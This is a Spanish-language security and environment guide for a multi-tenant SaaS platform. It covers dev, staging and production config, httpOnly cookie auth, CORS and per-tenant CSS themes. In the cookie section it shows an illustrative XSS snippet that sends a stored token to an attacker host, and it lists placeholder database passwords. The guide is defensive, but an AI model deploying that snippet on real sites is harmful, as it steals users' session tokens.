# Guía de Ambientes & Seguridad - Galappxy

## 🌍 Estrategia de Ambientes

### Opción Recomendada: Servidores Separados

```
┌─────────────────────────────────────────────────────────────┐
│  DESARROLLO                                                 │
│  Servidor: dev.galappxy.com (AWS EC2 t3.small)             │
│  Base de Datos: Aurora Dev (db.t3.medium)                  │
│  Archivo: .env_auth (credenciales dev)                     │
│  SSL: Self-signed o Let's Encrypt staging                  │
│  Propósito: Testing rápido, puede romperse               │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│  STAGING                                                    │
│  Servidor: staging.galappxy.com (AWS EC2 t3.medium)        │
│  Base de Datos: Aurora Staging (db.r6g.large)              │
│  Archivo: .env_auth (credenciales staging)                 │
│  SSL: Let's Encrypt production                             │
│  Propósito: Testing con datos similares a producción      │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│  PRODUCCIÓN                                                 │
│  Servidor: app.galappxy.com (AWS EC2 t3.xlarge + Auto Scaling)│
│  Base de Datos: Aurora Production (db.r6g.2xlarge + replicas) │
│  Archivo: .env_auth (credenciales producción)              │
│  SSL: Let's Encrypt production + HSTS                      │
│  Propósito: Usuarios reales                                │
└─────────────────────────────────────────────────────────────┘
```

### Configuración por Ambiente

```bash
# ===== DEV =====
# /var/www/galappxy/.env_auth (en servidor dev)
DB_WRITER_DSN="mysql:host=galappxy-dev.cluster-xxx.rds.amazonaws.com;..."
DB_WRITER_USER="galappxy_auth_dev"
DB_WRITER_PASS="dev_password_123"

TENANT_FILTERING_ENABLED=true
TENANT_FILTERING_STRICT=false  # Permite debugging

APP_ENV=development
APP_DEBUG=true  # Mostrar errores detallados

AUTH_COOKIE_DOMAIN=".dev.galappxy.com"
AUTH_COOKIE_SECURE=0  # Permite HTTP en dev local

# ===== STAGING =====
# /var/www/galappxy/.env_auth (en servidor staging)
DB_WRITER_DSN="mysql:host=galappxy-staging.cluster-yyy.rds.amazonaws.com;..."
DB_WRITER_USER="galappxy_auth_staging"
DB_WRITER_PASS="staging_secure_pass_456"

TENANT_FILTERING_ENABLED=true
TENANT_FILTERING_STRICT=true  # Testing estricto

APP_ENV=staging
APP_DEBUG=false

AUTH_COOKIE_DOMAIN=".staging.galappxy.com"
AUTH_COOKIE_SECURE=1  # Solo HTTPS

# ===== PRODUCTION =====
# /var/www/galappxy/.env_auth (en servidor production)
DB_WRITER_DSN="mysql:host=galappxy-prod.cluster-zzz.rds.amazonaws.com;..."
DB_WRITER_USER="galappxy_auth_prod"
DB_WRITER_PASS="SUPER_SECURE_PRODUCTION_PASSWORD_789_ROTATED_EVERY_90_DAYS"

TENANT_FILTERING_ENABLED=true
TENANT_FILTERING_STRICT=true  # Máxima seguridad

APP_ENV=production
APP_DEBUG=false  # NUNCA true en producción

AUTH_COOKIE_DOMAIN=".galappxy.com"
AUTH_COOKIE_SECURE=1
```

## 🔐 Seguridad de Cookies (httpOnly)

### Problema: localStorage es VULNERABLE

```javascript
// ❌ MAL - Vulnerable a XSS
localStorage.setItem('access_token', token);

// Ataque XSS:
<script>
  fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token'));
</script>
// ↑ Este código malicioso puede robar el token
```

### Solución: httpOnly Cookies

```php
// ✅ BIEN - Cookie httpOnly
setcookie('galappxy_at', $accessToken, [
    'httponly' => true,    // JavaScript NO puede acceder
    'secure'   => true,    // Solo HTTPS
    'samesite' => 'Lax',   // Protección CSRF
]);

// Ahora el ataque XSS falla:
<script>
  console.log(document.cookie); 
  // Output: "" (cookies httpOnly no son accesibles desde JS)
</script>
```

### Flujo Completo con httpOnly Cookies

#### 1. Login

```php
// POST /v1/auth/login
$accessToken = jwt_sign_rs256($claims);
$refreshToken = bin2hex(random_bytes(32));

// Guardar AMBOS tokens en cookies httpOnly
set_access_cookie($accessToken, 900, $domain);      // 15 min
set_refresh_cookie($refreshToken, 2592000, $domain); // 30 días

// Response NO incluye tokens en el body
jsonResponse(200, [
    'ok' => true,
    'data' => [
        'login_type' => 'user_email',
        'user' => [
            'id' => $idUser,
            'email' => $email,
        ],
        // ⚠️ NO enviar tokens aquí
    ]
]);
```

#### 2. Request Autenticado

```javascript
// Frontend - NO necesitas hacer nada especial
fetch('https://api.galappxy.com/v1/users/me', {
    credentials: 'include'  // ⭐ IMPORTANTE: Envía cookies automáticamente
})
.then(res => res.json())
.then(data => console.log(data));
```

```php
// Backend - Leer token desde cookie
function auth_payload(): array {
    // Lee cookie automáticamente
    $accessToken = $_COOKIE['galappxy_at'] ?? '';
    
    if ($accessToken === '') {
        jsonError(401, 'AUTH_MISSING', 'No autenticado');
    }
    
    // Verificar JWT
    $claims = jwt_verify_rs256($accessToken);
    return $claims;
}
```

#### 3. Refresh Token

```javascript
// Frontend - Cuando access_token expira (automático)
fetch('https://auth-api.galappxy.com/v1/auth/refresh', {
    method: 'POST',
    credentials: 'include'  // Envía cookie galappxy_rt
})
.then(res => res.json())
.then(data => {
    // Cookie galappxy_at se actualiza automáticamente
    console.log('Token refreshed');
});
```

```php
// POST /v1/auth/refresh
$refreshToken = $_COOKIE['galappxy_rt'] ?? '';

if ($refreshToken === '') {
    jsonError(401, 'REFRESH_TOKEN_MISSING', 'Sesión expirada');
}

// Validar refresh token
$hash = hash('sha256', $refreshToken);
$token = Conn3::mono(
    "SELECT * FROM REFRESH_TOKEN 
     WHERE token_hash = :hash 
       AND status = 'active' 
       AND revoked_at IS NULL 
       AND expires_at > NOW()",
    ['hash' => $hash]
);

if (!$token) {
    jsonError(401, 'REFRESH_TOKEN_INVALID', 'Sesión expirada');
}

// Generar nuevo access_token
$newAccessToken = jwt_sign_rs256($claims);

// Actualizar cookie
set_access_cookie($newAccessToken, 900, $domain);

jsonResponse(200, ['ok' => true]);
```

#### 4. Logout

```javascript
// Frontend
fetch('https://auth-api.galappxy.com/v1/auth/logout', {
    method: 'POST',
    credentials: 'include'
})
.then(() => {
    // Cookies se invalidan automáticamente
    window.location.href = '/login';
});
```

```php
// POST /v1/auth/logout
$refreshToken = $_COOKIE['galappxy_rt'] ?? '';

// Invalidar refresh token en BD
Conn3::update(
    "UPDATE REFRESH_TOKEN 
     SET status = 'inactive', revoked_at = NOW() 
     WHERE token_hash = :hash",
    ['hash' => hash('sha256', $refreshToken)]
);

// Limpiar cookies
clear_auth_cookies($domain);

jsonResponse(200, ['ok' => true]);
```

### CORS Configuration para Cookies

```apache
# Apache .htaccess
<IfModule mod_headers.c>
    # IMPORTANTE: Permitir cookies cross-origin
    Header set Access-Control-Allow-Origin "https://app.galappxy.com"
    Header set Access-Control-Allow-Credentials "true"
    Header set Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS"
    Header set Access-Control-Allow-Headers "Content-Type, Authorization"
</IfModule>
```

```javascript
// Frontend - SIEMPRE usar credentials: 'include'
const config = {
    credentials: 'include',  // ⭐ CRÍTICO para cookies
    headers: {
        'Content-Type': 'application/json'
    }
};

fetch('https://api.galappxy.com/endpoint', config);
```

## 🎨 Sistema de Temas (CSS Dinámico)

### Arquitectura de Archivos CSS

```
frontend/shell/css/
├── variables.css           # Variables base (común a todos) - 5 KB
├── shell.css              # Estilos del shell - 10 KB
├── sidebar.css            # Estilos de menú - 8 KB
└── themes/                # CSS por tenant (generados automáticamente)
    ├── tenant-1.css       # School iBox theme - 2 KB
    ├── tenant-2.css       # MediPay theme - 2 KB
    ├── tenant-3.css       # GymFlow theme - 2 KB
    └── ...
```

### Generación de CSS por Tenant

```bash
# Generar CSS para un tenant específico
php scripts/generate-tenant-css.php --tenant=123

# Generar para todos los tenants activos
php scripts/generate-tenant-css.php --all

# Cron job (ejecutar cada vez que un tenant actualiza su tema)
# En COMPANY update trigger o en API endpoint de configuración
```

### Carga Dinámica en Frontend

```html
<!-- index.html -->
<head>
    <!-- Variables base (siempre se carga) -->
    <link rel="stylesheet" href="/frontend/shell/css/variables.css">
    
    <!-- CSS del tenant (se carga dinámicamente) -->
    <!-- El script theme-manager.js agrega esto automáticamente -->
</head>

<body data-tenant="123" data-theme="light">
    <script src="/frontend/shell/js/theme-manager.js"></script>
    <script>
        // Login success callback
        async function onLoginSuccess(data) {
            // data = { id_company: 123, theme_config: {...} }
            await window.themeManager.init(data.id_company, data.theme_config);
        }
    </script>
</body>
```

### Storage del CSS

```
OPCIÓN A (Simple): Filesystem
- Pros: Fácil, no cuesta
- Cons: No escala bien, no usa CDN
- Path: /var/www/galappxy/frontend/shell/css/themes/tenant-123.css

OPCIÓN B (Recomendada): S3 + CloudFront
- Pros: Escala infinitamente, CDN global, cache automático
- Cons: Cuesta ~$5/mes
- Path: https://cdn.galappxy.com/themes/tenant-123.css
```

### Ejemplo de theme_config_json

```json
{
  "primary_color": "#7B2CBF",
  "secondary_color": "#9D4EDD",
  "sidebar_bg": "#240046",
  "sidebar_text_color": "#FFFFFF",
  "topbar_bg": "#FFFFFF",
  "topbar_text_color": "#240046",
  "font_family": "'Poppins', sans-serif",
  "border_radius": "0.5rem",
  "button_style": "rounded",
  "logo_url": "https://cdn.galappxy.com/logos/schoolibox.svg",
  "custom_css": ".custom-header { font-weight: 700; }"
}
```

## 📊 Comparación de Enfoques

| Aspecto | localStorage | httpOnly Cookies |
|---------|-------------|------------------|
| **Seguridad XSS** | ❌ Vulnerable | ✅ Protegido |
| **Facilidad de uso** | ✅ Muy fácil | ⚠️ Requiere CORS config |
| **APIs externas** | ✅ Funciona | ⚠️ Requiere header fallback |
| **Mobile apps** | ✅ Funciona | ❌ No soportado |
| **Recomendación** | ❌ NO usar | ✅ USAR para web |

## ✅ Checklist de Seguridad

- [ ] Cookies con httpOnly=true
- [ ] Cookies con secure=true (solo HTTPS)
- [ ] Cookies con SameSite=Lax o Strict
- [ ] CORS configurado correctamente
- [ ] credentials: 'include' en todos los fetch()
- [ ] .env separados por ambiente (dev/staging/prod)
- [ ] Servidores separados por ambiente
- [ ] Usuarios de BD diferentes por ambiente
- [ ] SSL/HTTPS en staging y producción
- [ ] TENANT_FILTERING_STRICT=true en producción

## 🎯 Próximos Pasos

1. Implementar httpOnly cookies en login/refresh
2. Configurar CORS en .htaccess
3. Actualizar frontend para usar credentials: 'include'
4. Generar CSS por tenant
5. Testing en dev → staging → producción
